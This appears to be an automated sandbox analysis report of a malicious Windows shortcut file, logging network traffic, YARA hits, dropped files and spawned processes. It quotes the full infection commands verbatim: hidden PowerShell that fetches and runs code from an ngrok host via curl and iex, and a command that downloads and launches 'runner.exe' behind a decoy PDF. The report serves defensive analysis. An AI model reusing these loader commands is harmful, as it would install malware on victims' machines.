Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.7:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.7:49870 version: TLS 1.2

Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_7a099ebe-0

Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_e1cd82af-d

Source: Yara match	File source: 29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.4ef0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.fontdrvhost.exe.5210000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.fontdrvhost.exe.5430000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.5110000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.fontdrvhost.exe.5430000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000003.1857686930.0000000004EF0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.1864884400.0000000005430000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.1864532293.0000000005210000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.1857899388.0000000005110000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe PID: 7936, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fontdrvhost.exe PID: 8172, type: MEMORYSTR

System Summary

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

File dump: PerfectoUna.exe.28.dr 979567147

Jump to dropped file

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: CNUXJvLcgw.lnk

LNK file: /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)

Source: C:\Windows\System32\svchost.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\fontdrvhost.exe	Code function: 36_2_000001B0277D1AA4 NtAcceptConnectPort,NtAcceptConnectPort,	36_2_000001B0277D1AA4
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 36_2_000001B0277D0AC8 NtAcceptConnectPort,NtAcceptConnectPort,	36_2_000001B0277D0AC8
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 36_2_000001B0277D15C0 NtAcceptConnectPort,	36_2_000001B0277D15C0
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 36_2_000001B0277D1CF4 NtAcceptConnectPort,CloseHandle,	36_2_000001B0277D1CF4

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00007FFAAC46C308	22_2_00007FFAAC46C308
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_004781A9	28_2_004781A9
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0270C231	29_3_0270C231
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_027181D2	29_3_027181D2
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_3_0270C400	29_3_0270C400
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_004781A9	29_2_004781A9
Source: C:\Windows\System32\fontdrvhost.exe	Code function: 36_2_000001B0277D0C70	36_2_000001B0277D0C70

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: String function: 0270CD90 appears 33 times

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7936 -s 436

Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe.22.dr	Static PE information: Resource name: BRANDING type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: PerfectoUna.exe.28.dr	Static PE information: Resource name: BRANDING type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: msedge.exe, 00000006.00000002.1489329749.000001F318E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CMD;.VBS;.VBPi
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895991762.00000000028D9000.00000040.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1859078938.0000000002729000.00000040.00000400.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1855071772.0000000002729000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1895991762.00000000028D9000.00000040.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1859078938.0000000002729000.00000040.00000400.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000003.1855071772.0000000002729000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.evad.winLNK@78/287@21/13

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_004149D0 PathRemoveFileSpecW,GetLastError,WaitForSingleObject,GetExitCodeProcess,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,Sleep,

28_2_004149D0

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe

Code function: 28_2_004029A0 StartServiceCtrlDispatcherW,GetLastError,

28_2_004029A0

Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 28_2_004029A0 StartServiceCtrlDispatcherW,GetLastError,		28_2_004029A0
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Code function: 29_2_004029A0 StartServiceCtrlDispatcherW,GetLastError,		29_2_004029A0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8896:120:WilError_03
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-c7331d53-a9b0-47e184-2a3bb56f4bc8}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1nzbl5gn.udr.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" "

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: CNUXJvLcgw.lnk	ReversingLabs: Detection: 23%
Source: CNUXJvLcgw.lnk	Virustotal: Detection: 40%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,7661811918937782434,10083933319932265787,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3584 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd'; }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user~1\AppData\Local\Temp\53cf54c9-bd5a-44a9-afff-e5edd73e8d3d.pdf
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1720,i,11746275802938358263,16647309410508739553,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7692 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe "C:\Users\user~1\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe"
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Windows\SysWOW64\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Users\user\AppData\Local\Temp\ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7936 -s 436
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"
Source: C:\Windows\System32\fontdrvhost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6372 -s 144
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa7765 curl ; sal av91c3 iEx ; av91c3(aa7765 -Uri https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd -UseBasicParsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1887874022.bat" "	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2076,i,7661811918937782434,10083933319932265787,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2756 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3584 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6612 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7692 --field-trial-handle=2192,i,460297362565314636,2208380792323289799,262144 /prefetch:6	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
